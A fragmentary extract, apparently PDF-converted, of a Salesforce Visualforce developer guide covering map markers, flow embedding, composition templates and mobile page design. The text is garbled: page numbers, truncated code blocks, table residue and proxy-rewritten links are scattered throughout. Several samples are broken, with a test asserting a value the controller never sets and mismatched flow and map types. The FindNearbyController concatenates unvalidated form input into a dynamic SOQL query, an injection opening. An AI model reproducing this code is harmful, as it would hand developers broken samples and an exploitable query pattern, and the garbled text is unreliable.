position="{! ct.MailingStreet },{! ct.MailingCity },{! ct.MailingState }"
icon="{! URLFOR($Resource.MapMarkers, ct.ContactType__c + '.png') }">
</apex:mapMarker>
</apex:repeat>
If you use a field to provide a critical part of the icons URL make sure that it always provides a usable value. For example, by making it a
required field, or by ensuring a formula field provides a sensible default value.
247
248
By default, only one info window displays at a time. When you click another marker, the first info window closes, and the new info
window opens. To display multiple info windows at once, set showOnlyActiveInfoWindow to false on the containing
<apex:map> component.
Note: Consider carefully the effect of displaying multiple info windows at once, because it can create a cluttered map.
249
250
Note the use of the rendered attribute, which takes the value of the {!resultsAvailable} expression. This expression
is another Apex property, and using it with the rendered attribute hides the map section when locations arent available to place
on the map.
Heres the Apex controller that supports the previous page.
public with sharing class FindNearbyController {
public List<Map<String,Double>> locations { get; private set; }
public String currentPosition {
get {
if (String.isBlank(currentPosition)) {
currentPosition = '37.77493,-122.419416'; // San Francisco
}
return currentPosition;
}
set;
}
public Boolean resultsAvailable {
get {
if(locations == Null) {
return false;
}
return true;
}
}
public PageReference findNearby() {
String lat, lon;
// FRAGILE: You'll want a better lat/long parsing routine
// Format: "<latitude>,<longitude>" (must have comma, but only one comma)
List<String> latlon = currentPosition.split(',');
lat = latlon[0].trim();
lon = latlon[1].trim();
// SOQL query to get the nearest warehouses
String queryString =
'SELECT Id, Name, Location__longitude__s, Location__latitude__s ' +
'FROM Warehouse__c ' +
'WHERE DISTANCE(Location__c, GEOLOCATION('+lat+','+lon+'), \'mi\') < 20 ' +
'ORDER BY DISTANCE(Location__c, GEOLOCATION('+lat+','+lon+'), \'mi\') ' +
'LIMIT 10';
// Run the query
List <Warehouse__c> warehouses = database.Query(queryString);
if(0 < warehouses.size()) {
// Convert to locations that can be mapped
locations = new List<Map<String,Double>>();
for (Warehouse__c wh : warehouses) {
locations.add(
new Map<String,Double>{
251
Take a few minutes to learn more about this controller and how it works with the Visualforce page.
The locations property is a list of Map<String,Double> elements. This list holds the location data in a format thats
directly usable by the <apex:mapMarker> component.
The currentPosition property captures the position information thats submitted from the pages form. This property also
ensures that if the form submission is empty, a valid default value is provided. (A more robust implementation would do more error
checking on the form input.)
The resultsAvailable property, noted in the earlier description of the Visualforce markup.
The findNearby action method is called when the Go! <apex:commandButton> is pressed. This method does all the
work, executing a custom SOQL query and massaging the results into the locations property format.
If you want to use the title attribute of <apex:mapMarker> to provide additional information (for example, the name of the
warehouse), you have several options. If your method is returning sObjects, you can reference the appropriate fields in your Visualforce
markup. If youre creating new objects directly, as we are here, you can create an inner class that combines the location map object with
the title string. You then return a collection of the inner class objects to the page.
252
253
Note: If the flow is from a managed package, the name attribute must be in this format: namespace.flowuniquename.
5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it.
To run the flow, external users (such as on a community) need access to the Visualforce page. To run the flow, internal users need
access to the Visualforce page and either:
The "Run Flows" permission
The Force.com Flow User field enabled on their user detail page
254
You can also leverage standard Visualforce controllers to set variables. For example, if the Visualforce page is using the standardCase
controller, you can enhance the page to pass in the data from the standard controller:
<apex:page standardController="Case" tabStyle="Case" >
<flow:interview name="ModemTroubleShooting">
<apex:param name="vaCaseNumber" value="{!Case.CaseNumber}"/>
</flow:interview>
</apex:page>
For more examples of setting variable values, see Set Flow Variable Values from a Visualforce Page on page 257. For information about
getting variable values from a flow to display in a Visualforce page, see Get Flow Variable Values to a Visualforce Page on page 261.
For more examples of setting finishLocation, see Configure the finishLocation Attribute in a Flow on page 265.
Note: If the flow is from a managed package, the name attribute must be in this format: namespace.flowuniquename.
255
If youre using a custom controller, you can also set the initial values of the variables at the beginning of the flow in the constructor of
the flow. Passing in variables using the constructor is optional and isnt necessary if youre using <apex:param> tags to set the value.
Heres an example of a custom controller that sets the values of flow variables in a constructor:
public class ModemTroubleShootingCustomSetVariables {
public Flow.Interview.ModemTroubleShooting myflow { get; set; }
public ModemTroubleShootingCustomSetVariables() {
Map<String, Object> myMap = new Map<String, Object>();
myMap.put('vaCaseNumber','123456');
myflow = new Flow.Interview.ModemTroubleShooting(myMap);
}
public String caseNumber { set; }
public String getCaseNumber() {
return myflow.vaCaseNumber;
}
}
You can use the getVariableValue method in the Flow.Interview class to enable a Visualforce controller to access the
value of a flow variable. The variable may be in the flow embedded in the Visualforce page or in a separate flow that is called by a subflow
element. The returned variable value comes from whichever flow the interview is currently running. If the specified variable cant be
found in that flow, the method returns null. This method checks for the existence of the variable at run time only, not at compile time.
The following sample uses the getVariableValue method to obtain breadcrumb (navigation) information from the flow embedded
in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb
variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.
public class SampleController {
//Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);
256
}
}
The following table shows the differences in the naming of supported data types between the flow and Apex.
Flow
Apex
Text
String
Number
Decimal
Currency
Decimal
Date
Date, DateTime
Boolean
Boolean
As its a good practice to write tests against your Apex code, the following is a trivial example of writing a test class for
ModemTroubleShootingCustomSetVariables:
@isTest
private class ModemTroubleShootingCustomSetVariablesTest {
static testmethod void ModemTroubleShootingCustomSetVariablestests() {
PageReference pageRef = Page.ModemTroubleShootingSetVariables;
Test.setCurrentPage(pageRef);
ModemTroubleShootingCustomSetVariables mytestController =
new ModemTroubleShootingCustomSetVariables();
System.assertEquals(mytestController.getcaseNumber(), '01212212');
}
}
Warning: If you dont set the reRender attribute, when you click a button to navigate to a different screen in a flow, the entire
Visualforce page refreshes, not just the <flow:interview> component.
257
Note: You can set variables only at the beginning of an interview. The <apex:param> tags are evaluated only once, when
the flow is launched.
You can set only variables that allow input access. For each flow variable, input access is controlled by:
The Input/Output Type variable field in the Cloud Flow Designer
The isInput field on FlowVariable in the Metadata API
If you reference a variable that doesnt allow input access, attempts to set the variable are ignored. Compilation can fail for the
Visualforce page, its <apex:page> component, or the Apex class.
The following table lists the ways you can set a flows variable, sObject variable, and sObject collection variable values using Visualforce.
Method
Variables
sObject Variables
Collection Variables
sObject Collection
Variables
Without a controller
With a standard controller
With a standard List
controller
With a custom Apex
controller
With an Interview Map
258
This example uses Apex to set an sObject collection variable myAccount to the Id and Name field values for every record with a
Name of Acme.
public class MyCustomController {
public Account[] myAccount {
get {
return [
SELECT Id, Name FROM account
WHERE Name = 'Acme'
ORDER BY Id
] ;
}
set {
myAccount = value;
}
}
public MyCustomController () {
259
}
}
<apex:page id="p" controller="MyCustomController">
<flow:interview id="i" name="flowname">
<apex:param name="accountColl" value="{!myAccount}"/>
</flow:interview>
</apex:page>
Heres a similar example that sets the value for accVar to a new account when the interview starts.
public class MyCustomController {
public Flow.Interview.TestFlow myflow { get; set; }
public MyCustomController() {
Map<String, List<Object>> myMap = new Map<String, List<Object>>();
myMap.put('accVar', new Account(name = 'Acme'));
myflow = new Flow.Interview.ModemTroubleShooting(myMap);
}
}
<apex:page controller="MyCustomController">
<flow:interview name="flowname" interview="{!myflow}"/>
</apex:page>
This example uses a map to add two values to a string collection variable (stringCollVar) and two values to a number collection
variable (numberCollVar).
public class MyCustomController {
public Flow.Interview.flowname MyInterview { get; set; }
public MyCustomController() {
String[] value1 = new String[]{'First', 'Second'};
Double[] value2 = new Double[]{999.123456789, 666.123456789};
Map<String, Object> myMap = new Map<String, Object>();
260
myMap.put('stringCollVar', value1);
myMap.put('numberCollVar', value2);
MyInterview = new Flow.Interview.flowname(myMap);
}
}
<apex:page controller="MyCustomController">
<flow:interview name="flowname" interview="{!MyInterview}" />
</apex:page>
This example uses an Apex class to get the values that are stored in a string collection variable (emailsCollVar) in the flow. Then
it uses a Visualforce page to run the flow interview. The Visualforce page iterates over the flows collection variable and displays the
values for each item in the collection.
public class FlowController {
public Flow.Interview.flowname myflow { get; set; }
public List<String> getVarValue() {
if (myflow == null) {
return null;
}
else {
return (List<String>)myflow.emailsCollVar;
}
261
}
}
<apex:page controller="FlowController">
<flow:interview name="flowname" interview="{!myflow}" />
<apex:repeat value="{!varValue}" var="item">
<apex:outputText value="{!item}"/><br/>
</apex:repeat>
</apex:page>
The following example uses an Apex class to set the flow to {!myflow} and then uses a Visualforce page to run the flow interview.
The Visualforce page uses a data table to iterate over the flows sObject collection variable and display the values for each item in the
collection.
public class MyCustomController {
public Flow.Interview.flowname myflow { get; set; }
}
<apex:page controller="MyCustomController" tabStyle="Account">
<flow:interview name="flowname" interview="{!myflow}" reRender="nameSection" />
<!-- The data table iterates over the variable set in the "value" attribute and
sets that variable to the value for the "var" attribute, so that instead of
referencing {!myflow.collectionVariable} in each column, you can simply refer
to "account".-->
<apex:dataTable value="{!myflow.collectionVariable}" var="account"
rowClasses="odd,even" border="1" cellpadding="4">
<!-- Add a column for each value that you want to display.-->
<apex:column >
<apex:facet name="header">Name</apex:facet>
<apex:outputlink value="/{!account['Id']}">
{!account['Name']}
</apex:outputlink>
</apex:column>
<apex:column >
<apex:facet name="header">Rating</apex:facet>
<apex:outputText value="{!account['Rating']}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Billing City</apex:facet>
<apex:outputText value="{!account['BillingCity']}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Employees</apex:facet>
<apex:outputText value="{!account['NumberOfEmployees']}"/>
</apex:column>
</apex:dataTable>
</apex:page>
Depending on the contents of the sObject collection variable in your flow, heres what that data table looks like.
262
allowShowPause
(Visualforce component)
Enabled
Enabled
false
Not enabled
This example embeds the MyUniqueFlow flow in a Visualforce page and doesnt allow the Pause button to appear.
<apex:page>
<flow:interview name="MyUniqueFlow" allowShowPause="false" />
</apex:page>
263
This Apex controller extension performs a SOQL query to get a list of paused interviews. If nothing is returned from the query,
getPausedId() returns a null value, and the Visualforce page starts a new interview. If at least one interview is returned from the
query, the Visualforce page resumes the first interview in that list.
public class MyControllerExtension_SurveyCustomers {
// Empty constructor, to allow use as a controller extension
public MyControllerExtension_SurveyCustomers(
ApexPages.StandardController stdController) { }
// Flow support methods
public String getInterviews() { return null; }
public String showList { get; set; }
public String getPausedId() {
String currentUser = UserInfo.getUserId();
List<FlowInterview> interviews =
[SELECT Id FROM FlowInterview WHERE CreatedById = :currentUser AND InterviewLabel
LIKE '%Survey Customers%'];
if (interviews == null || interviews.isEmpty()) {
return null; // early out
}
// Return the ID for the first interview in the list
return interviews.get(0).Id;
}
}
264
Value
Label
Survey Customer
Display Type
Content Source
Visualforce Page
Content
YourVisualforcePage
265
For more information about $Page, see Global Variables on page 602.
Heres a sample Visualforce page references that controller and sets the flow finish behavior to the first option.
<apex:page controller="myFlowController">
<h1>Congratulations!</h1> This is your new page.
<flow:interview name="flowname" finishLocation="{!pageA}"/>
</apex:page>
If you use a standard controller to display a record on the same page as the flow, users who click Finish start a new flow interview and
see the first screen of the flow, without the record. This is because the id query string parameter isnt preserved in the page URL. If
needed, configure the finishLocation to route users back to the record.
266
Description
buttonLocation
Defines the location of the navigation buttons in the flows user interface. Available values are:
top
bottom
both
For example:
<apex:page>
<flow:interview name="MyFlow" buttonLocation="bottom"/>
</apex:page>
Assigns a style to the flow navigation buttons as a set. Can only be used for inline styling, not for
CSS classes.
For example:
<apex:page>
<flow:interview name="MyFlow" buttonStyle="color:#050;
background-color:#fed; border:1px solid;"/>
</apex:page>
Applies to...
FlowContainer
FlowPageBlockBtns
FlowCancelBtn
FlowPauseBtn
FlowPreviousBtn
FlowNextBtn
267
Applies to...
FlowFinishBtn
FlowText
FlowTextArea
FlowNumber
FlowDate
FlowCurrency
FlowPassword
FlowRadio
FlowDropdown
268
269
After saving the page, a prompt appears that asks you to create compositionExample. Use the following code to define that
custom controller:
public class compositionExample{
String name;
Integer age;
String meal;
String color;
Boolean showGreeting = false;
public PageReference save() {
showGreeting = true;
return null;
}
public void setNameField(String nameField) {
name = nameField;
}
public String getNameField() {
return name;
}
public void setAgeField(Integer ageField) {
age= ageField;
}
public Integer getAgeField() {
return age;
}
public void setMealField(String mealField) {
meal= mealField;
}
public String getMealField() {
return meal;
}
public void setColorField(String colorField) {
color = colorField;
}
public String getColorField() {
return color;
}
public Boolean getShowGreeting() {
return showGreeting;
}
}
270
Notice the two <apex:insert> fields requiring the age and meal content. The markup for these fields is defined in whichever
page calls this composition template.
Next, create a page called myFullForm, which defines the <apex:insert> tags in myFormComposition:
<apex:page controller="compositionExample">
<apex:messages/>
<apex:composition template="myFormComposition">
<apex:define name="meal">
<apex:outputLabel value="Enter your favorite meal: " for="mealField"/>
<apex:inputText id="mealField" value="{!mealField}"/>
</apex:define>
<apex:define name="age">
<apex:outputLabel value="Enter your age: " for="ageField"/>
<apex:inputText id="ageField" value="{!ageField}"/>
</apex:define>
<apex:outputLabel value="Enter your favorite color: " for="colorField"/>
<apex:inputText id="colorField" value="{!colorField}"/>
</apex:composition>
<apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}.
You look {!ageField} years old. Would you like some {!colorField} {!mealField}?"/>
</apex:page>
271
The age and meal fields do not need to be text inputs. The components within an <apex:define> tag can be any valid
Visualforce tag.
To show how you can use any valid Visualforce in an <apex:define> tag, create a new Visualforce page called myAgelessForm
and use the following markup:
<apex:page controller="compositionExample">
<apex:messages/>
<apex:composition template="myFormComposition">
<apex:define name="meal">
<apex:outputLabel value="Enter your favorite meal: " for="mealField"/>
<apex:inputText id="mealField" value="{!mealField}"/>
</apex:define>
<apex:define name="age">
<p>You look great for your age!</p>
</apex:define>
</apex:composition>
<apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}.
Would you like some delicious {!mealField}?"/>
</apex:page>
Notice that the composition template only requires an <apex:define> tag to exist. In this example, age is defined as text.
Dynamic Templates
A dynamic template allows you to assign a template through a PageReference. The template name is assigned to a controller method
that returns a PageReference containing the template you want to use.
For example, create a page called myAppliedTemplate that defines the skeleton template:
<apex:page>
<apex:insert name="name" />
</apex:page>
Next, create a controller called dynamicComposition with a method that will return a reference to this page:
public class dynamicComposition {
public PageReference getmyTemplate() {
return Page.myAppliedTemplate;
}
}
Last, create a page called myDynamicComposition that implements this controller and the dynamic template:
<apex:page controller="dynamicComposition">
<apex:composition template="{!myTemplate}">
<apex:define name="name">
Hello {!$User.FirstName}, you look quite well.
</apex:define>
</apex:composition>
</apex:page>
272
After you receive the prompt about templateExample not existing, use the following code to define that custom controller:
public class templateExample{
String name;
Boolean showGreeting = false;
public PageReference save() {
showGreeting = true;
return null;
}
public void setNameField(String nameField) {
name = nameField;
}
public String getNameField() {
return name;
}
public Boolean getShowGreeting() {
return showGreeting;
}
}
Note that nothing should happen if you click Save. This is expected behavior.
Next, create a page called displayName, which includes formTemplate:
<apex:page controller="templateExample">
<apex:include pageName="formTemplate"/>
273
<apex:actionSupport event="onClick"
action="{!save}"
rerender="greeting"/>
<apex:outputText id="greeting" rendered="{!showGreeting}" value="Hello {!nameField}"/>
</apex:page>
When you save this page, the entire formTemplate page is imported. When you enter a name and click Save the form passes a
true value to the showGreeting field, which then renders the <apex:outputText> and displays the user's name.
You can create another Visualforce page that uses formTemplate to display a different greeting. Create a page called
displayBoldName and use the following markup:
<apex:page controller="templateExample">
<style type="text/css">
.boldify { font-weight: bolder; }
</style>
<apex:include pageName="formTemplate"/>
<apex:actionSupport event="onClick"
action="{!save}"
rerender="greeting"/>
<apex:outputText id="greeting" rendered="{!showGreeting}"
styleClass="boldify"
value="I hope you are well, {!nameField}."/>
</apex:page>
Notice that although the displayed text changes, the templateExample logic remains the same.
274
Which Devices Can Run Salesforce Classic Mobile and Visualforce Mobile?
Salesforce Classic Mobile can run on most iPhone and Android devices.
Note: Developers who do not own an iPhone or Android device can test their Visualforce Mobile pages using simulators.
275
execute in the mobile client application but will run server-side after a record is saved and submitted to Salesforce: workflow rules,
validation rules, formula fields, and Apex triggers.
Permissions, Record Types, and Page Layouts
User permissions, record types, and page layouts are inherited from Salesforce. Administrators can optionally change the properties
of a mobilized object by further restricting permissions of mobile users or excluding unnecessary fields from mobile page layouts.
Related Lists
If administrators mobilize a related objectin other words, add a child data set to a parent data setthe object automatically
becomes a related list on the mobile device.
Dashboards and Reports
Reports are sent to the device in Excel format and display in a basic table. The report viewer in the mobile application does not
support sorting, summaries, subtotals, or grouping.
Custom List Views
iPhone users can access custom views created by Salesforce administrators in the Mobile Administration Console. In the mobile
application, custom views are limited to two columns.
Visualforce Tabs and Web Tabs
iPhone users can access Visualforce tabs and web tabs in the mobile client application if the tabs have been mobilized by a Salesforce
administrator. Although the native client application lets users access data offline, Visualforce tabs and web tabs require a connection
to the wireless network because the tabs are launched in an embedded browser.
276
Page Styles
The standard Salesforce stylesheets (CSS files) are too massive for the mobile browser. Not only will the Salesforce stylesheets cause
the page to load very slowly, but the stylesheets do not display properly in the BlackBerry browser. Suppress the standard stylesheets
in your Visualforce Mobile pages with the following attribute definition:
<apex:page standardStylesheets="false">
The best approach to adding a stylesheet to your page is to include a <style> section just below the <apex:page> component.
<apex:page standardStylesheets="false">
<style type="text/css">
<!-- the styles -->
</style>
</apex:page>
To reuse styles between pages, create a separate Visualforce page that defines your styles. Then, use the <apex:include> tag
to incorporate the styles page. For example, suppose you define a page called myStyles:
<apex:page>
<style type="text/css">
<!-- the styles -->
</style>
</apex:page>
You would include these styles into another page like the following:
<apex:page standardStylesheets="false"/>
<apex:include pageName="myStyles" />
</apex:page>
It is possible to save a mobile-optimized stylesheet as a static resource, and then reference it in your page. However, the stylesheet
is paired with the Visualforce markup on the client-side to render the page, so you increase the page load time by adding a stylesheet
as a static resource.
277
iPhone Considerations
Note: If you are building pages for the iPhone and want to mimic the standard iPhone UI, you can save time and development
effort by using iUI, a third-party library that provides an iPhone-like interface to Web applications.
Lookups
The lookup field selector provided with <apex:inputField> doesnt offer a good user experience on BlackBerry and doesnt
work on iPhone. You can work around this issue by writing an Apex trigger that validates the entry in the lookup field upon saving
the record. You could also change the field type, if possible.
The following topics include additional information about developing pages for iPhone and BlackBerry:
iPhone Considerations
BlackBerry Considerations
Developing Cross-Platform Compatible Pages
Using the JavaScript Library
SEE ALSO:
Styling Visualforce Pages
Using Static Resources
iPhone Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. The iPhone embedded browser is the same
full-featured Safari browser used for the default Web browser. It has excellent JavaScript support and performs well.
When developing pages for the iPhone, these considerations apply:
Page Zoom
By default, the iPhone browser sets your page width to 980 pixelsa value chosen to maximize compatibility with a broad range
of websites. Use a <meta> tag to let the iPhone browser know how wide to display the initial page:
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,
user-scalable=no" />
Description
width
The width of the viewport in pixels. The default is 980. The range
is from 200 to 10,000. Use the device_width value to set
the page to the width of the device in pixels.
height
initial-scale
278
BlackBerry Considerations
Property
Description
maximum-scale properties. You can set only the initial scale
of the viewport, which is the scale of the viewport the first time
the web page is displayed. Thereafter, the user can zoom in and
out unless you set user-scalable to no. Zooming by the user is
also limited by the minimum-scale and maximum-scale
properties.
minimum-scale
maximum-scale
user-scalable
Determines whether or not the user can zoom in and out. Set to
yes to allow scaling and no to disallow scaling. The default is
yes. Setting user-scalable to no also prevents a page from
scrolling when entering text in an input field.
Screen Rotation
In the mobile application, rotating the screen will not cause the page to flip and re-size.
URL Targets
The embedded browser does not support the target="_blank" attribute. If you use it in your page, the URL target doesnt
load.
File Access
The embedded browser does not natively offer access to the file system, camera, location, or other device data.
Static Resource Caching
In the mobile application, static resources (such as imahes, JavaScript, or CSS) are not cached. This can have affect performance on
slow connections. The embedded browser does support caching.
As a general rule for mobile development, you shouldn't use components that:
Rely on JavaScript to perform an action
Depend on Salesforce.com stylesheets
To check if your Visualforce Mobile page falls into one of these categories, you can view the HTML source of the page. If you see a
<script> tag that refers to JavaScript (.js) or a <link> tag that refers to a stylesheet (.css), you should test that the page
displays as expected.
BlackBerry Considerations
The mobile application launches Visualforce Mobile pages in an embedded browser. Research in Motion (RIM) upgraded the embedded
browser with the release of BlackBerry operating system version 4.3, but the embedded browser still has limited JavaScript support.
Although the BlackBerry Bold (version 4.6) and BlackBerry Storm (version 4.7) have more powerful standard browsers, the embedded
browser has not sufficiently improved for full Visualforce Mobile support.
When developing pages for BlackBerry smartphones, these considerations apply:
279
BlackBerry Considerations
JavaScript Support
The embedded BlackBerry browser has very limited JavaScript support. Inline DOM events do not work at all. When possible, avoid
using JavaScript in Visualforce Mobile pages for BlackBerry.
Forms and View State
Visualforce pages rely on a view state to maintain the state of the database between requests. If you use the <apex:form> tag
in your Visualforce page, the view state variable is often too large for the BlackBerry embedded browser to deal with effectively, even
for the simplest forms.
If you need to create a form, try to use standard HTML forms. Parameters sent from the form can be retrieved with
ApexPages.currentPage().getParameters() map in the controller. When using HTML forms, remember that:
Maintaining state between pages must be done manually.
Redirecting to another page must be done manually.
The <apex:commandLink> and <apex:commandButton> components are not available.
For Visualforce Mobile pages that let users upload files, using the <apex:form> and <apex:inputFile> components is
the best choice. The two components function properly in this limited use case. For example, to create an upload form, use the two
tags in conjunction with Apex controller methods:
<apex:form>
<apex:inputFile value="{!attachment.body}"/>
<apex:commandButton action="{!save}"/>
</apex:form>
The implementation can benefit further from the use of transient variables. The transient keyword is used for data that doesnt
need to be saved on a postback. In the previous example, the attachment itself should be non-transient, but the attachment body
can potentially be very large, and there's no reason to store the body in the view state.
The solution is to change the value of <apex:inputFile> to retrieve a Blob file type:
<apex:form>
<apex:inputFile value="{!theBlob}"/>
<apex:commandButton action="{!save}"/>
</apex:form>
Then, in your Apex controller for this page, define theBlob as transient:
Transient Blob theBlob;
Finally, in the save method, define the attachment using the value of theBlob:
attachment.body = theBlob;
upsert attachment;
attachment.body = null.
The attachment body will get updated with the correct data, but the data will not be preserved. Set attachment.body to
null after save because the attachment itself is not transient.
Misplaced Visualforce Tags
Some Visualforce tags, upon compilation and resolution to HTML, are sometimes misinterpreted or not interpreted:
The <apex:facet> component is placed where it appears in the code. Be sure to place the <apex:facet> tag where
it should display on the page; for example, place the <apex:facet name="footer"> component at the bottom of a
section.
The standard Salesforce styles provided with the <apex:sectionHeader> and <apex:pageBlock> components
are mangled or ignored. Use simpler tags, or write pure HTML.
280
Page Styles
Be sure to follow the best practices for styling your Visualforce Mobile pages. Additionally, be aware that the BlackBerry embedded
browser ignores some common CSS properties, such as margin-left.
Line Breaks
The <br/> tag is ignored unless there is something on the line, such as a non-breaking space.
Navigation
The embedded browser in the BlackBerry client application does not have built-in navigation. If your Visualforce page is a wizard,
you should provide navigation links that allow users to return to the previous page and advance to the next page. Additionally, the
Visualforce page is embedded in a tab, so you should avoid using tabs for navigation in mobile Visualforce pages.
This approach offers the best user experience for all devices with the fewest long-term development headaches. However, it does
require you to maintain two separate applicationsone for each device type.
Lowest Common Denominator
Build to the lowest common denominator and include only minimal, unobtrusive JavaScript, avoiding scripts with inline events in
the tags. Depending on the devices in the customer's organization, you might need to avoid JavaScript all together. On older
BlackBerry smartphones, using any JavaScript at all can cause the page to malfunction.
Conditional Code
Build device-conditional code and styles. The user agent string, contained in the header passed by the browser to the server, identifies
the connecting device as BlackBerry or iPhone. The code in your Visualforce Mobile page evaluates the user agent string and displays
the content appropriate for the connecting device. The benefit of Visualforce is that the markup is interpreted server-side, and the
client only receives the markup it can render based on the assessment of the conditional statements. Building with conditional code
is the most sophisticated approach, but not necessarily the best long-term solution due to the added code complexity.
Note: Dynamic References to Static Resources Using $Resource on page 173 illustrates an alternative approach to
dynamically displaying different graphics based on characteristics of the request.
281
For example, the following markup creates a custom component named mobileSample that simply displays an image stored
within the mobileImages static resource. However, it determines which image to display at runtime based on the browser's
reported user agent value as inspected in the components controller.
<apex:component controller="mobileSampleCon">
<apex:image value="{!URLFOR($Resource.mobileImages, deviceType + '.jpg')}"/>
</apex:component>
// mobileSampleCon Controller code snippet
...
public class mobileSampleCon {
public String deviceType { get; set; }
public MobileSampleCon() {
String userAgent = ApexPages.currentPage().getHeaders().get('USER-AGENT');
if(userAgent.contains('iPhone')) {
deviceType = 'iPhone';
}
else if(userAgent.contains('BlackBerry')) {
deviceType = 'BlackBerry';
}
}
}
The following example loads different stylesheets based on the connecting application. First, you can create the page that you want
displayed across multiple devices:
<!-- Visualforce code snippet -->
...
<head>
<linkrel="stylesheet" type="text/css" href="{!URLFOR($Resource.Global,
'/inc/css/global.css')}"/>
<c:conditionalStylesheets resource="{!$Resource.Global}" />
<linkrel="stylesheet" type="text/css" href="{!URLFOR($Resource.SendEmail,
'/inc/css/local.css')}"/>
<c:conditionalStylesheets resource="{!$Resource.SendEmail}" />
</head>
...
The Global.zip and SendEmail.zip files are static resources that contain the referenced CSS files. For the
conditionalStylesheets custom component, you can define multiple CSS declarations that are rendered based on the
browser type:
// Visualforce component code
<apex:component controller="myConditionalController">
<apex:attribute name="resource" description="The resource name" type="String"
required="true"/>
// for a BlackBerry standard browser, e.g., Bold
<apex:outputPanel layout="none" rendered="{!browserName = 'BlackBerry'}">
<linkrel="stylesheet" type="text/css" href="{!URLFOR(resource,
'/inc/css/BBBrowser.css')}"/>
282
</apex:outputPanel>
// for a BlackBerry embedded browser in Salesforce Classic
// the Apex code distinguished between the regular and embedded browsers
<apex:outputPanel layout="none" rendered="{!browserName = 'Salesforce'}">
<linkrel="stylesheet" type="text/css" href="{!URLFOR(resource,
'/inc/css/BBEmbedded.css')}"/>
</apex:outputPanel>
// for the iPhone Safari browser (inside Salesforce Classic or not)
<apex:outputPanel layout="none" rendered="{!browserName = 'iPhone-Safari'}">
<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0;
user-scalable=0;">
</meta>
<linkrel="stylesheet" type="text/css" href="{!URLFOR(resource, '/inc/css/IPhone.css')}"/>
</apex:outputPanel>
</apex:component>
Finally, the browserName value is determined in an Apex controller in a manner similar to the preceding example:
Note: Salesforce Classic Mobile appends the text "Salesforce" to the end of the string for the embedded BlackBerry
browser. Additionally, the user can change the user agent string on some BlackBerry smartphones.
// Apex code snippet
...
public static String getBrowserName()
{
String userAgent = ApexPages.currentPage().getHeaders().get('User-Agent');
if (userAgent.contains('iPhone'))
return 'iPhone-Safari';
if (userAgent.contains('Salesforce'))
return 'Salesforce';
if (userAgent.contains('BlackBerry'))
return 'BlackBerry';
return 'other';
}
...
Note: Commands in the JavaScript library for Salesforce Classic Mobile can be used for both iPhone and BlackBerry devices.
283
To call the functions in the library, you need a small amount of JavaScript code. The functions are:
mobileforce.device.sync()
Forces the mobile client application to synchronize with Salesforce, which updates data records on the device.
mobileforce.device.close()
Closes the embedded browser containing the Visualforce page and returns the user to the originating tab or record.
mobileforce.device.syncClose()
Forces the mobile client application to synchronize with Salesforce and closes the embedded browser containing the Visualforce
page.
mobileforce.device.getLocation()
Obtains the GPS coordinates of the device's current location.
Note: You can also trigger the sync and close commands using HTML links, which is a good alternative for BlackBerry smartphones
that have limited JavaScript support. To use HTML to trigger the commands, include the following string as the value of the href
attribute inside an <a> tag:
To force the client to synchronize data, use mobileforce:///sync.
To force the embedded browser to close, use mobileforce:///close.
To force the embedded browser to close and the client to synchronize data, use mobileforce:///sync/close.
In your Visualforce pages, use the following static resource to point to the JavaScript library:
<script type="application/x-javascript" src="/mobileclient/api/mobileforce.js"></script>
External websites must include the instance name in the src parameter:
<script type="application/x-javascript"
src="http://na1.salesforce.com/mobileclient/api/mobileforce.js"></script>
The following code is an example of a Visualforce page that uses all of the commands available in the JavaScript library:
<apex:page showheader="false">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Visualforce Mobile Trigger Test</title>
<meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;
user-scalable=0;" />
<!-- Using static resource -->
<script type="application/x-javascript" src="/mobileclient/api/mobileforce.js"></script>
<script>
function sync() {
mobileforce.device.sync();
return false;
}
function doClose() {
mobileforce.device.close();
return false;
}
284
function syncClose() {
mobileforce.device.syncClose();
return false;
}
updateLocation = function(lat,lon) {
document.getElementById('lat').value = lat;
document.getElementById('lon').value = lon;
}
function getLocation() {
mobileforce.device.getLocation(updateLocation);
return false;
}
</script>
</head>
<body>
<h2>Triggers:</h2>
<p>
<a href="#" onclick="return sync();">JS sync</a><br/>
<a href="#" onclick="return doClose();">JS close</a><br/>
<a href="#" onclick="return syncClose();">JS sync and close</a><br/>
<a href="mobileforce:///sync">HTML sync</a><br/>
<a href="mobileforce:///close">HTML close</a><br/>
<a href="mobileforce:///sync/close">HTML sync and close</a><br/>
</p>
<h2>Location:</h2>
<p>Latitude: <input type="text" disabled="disabled" id="lat" name="lat" value=""/></p>
<p>Logitude: <input type="text" disabled="disabled" id="lon" name="lon" value=""/></p>
<a href="#" onclick="return getLocation();">Get location</a><br/>
</body>
</html>
</apex:page>
285
286
287
288
4. In the Selected Tabs list, choose tabs and click the Up and Down arrows to arrange the tabs in the order they should appear in the
mobile application.
Note: iPhone users can customize the order of their tabs in the mobile client application. If the user customizes their tab
order, any administrator changes to the tab order in the mobile configuration are ignored by the client application, and any
newly mobilized tabs are added below the user's existing tabs.
5. Click Save.
289
290
+
+
+
+
acct.CustomerPriority__c + ':'
acct.Id + '~:~'+ acct.BillingStreet + '~:~'
acct.BillingCity + '~:~' + acct.BillingState + '~:~'
acct.BillingPostalCode + '~::~';
}
return accts;
}
public String getmyKey() { // Set up google maps api key
myKey = 'http://maps.google.com/maps?file=api&v=2&';
// In the following line, enter your google maps key
// to get an api key, visit the Google Maps API site
// http://code.google.com/apis/maps/signup.html
myKey = myKey + 'key=<insert_google_maps_api_key_here>';
return myKey;
}
public String getAddrArStr(){
addrStr = '';
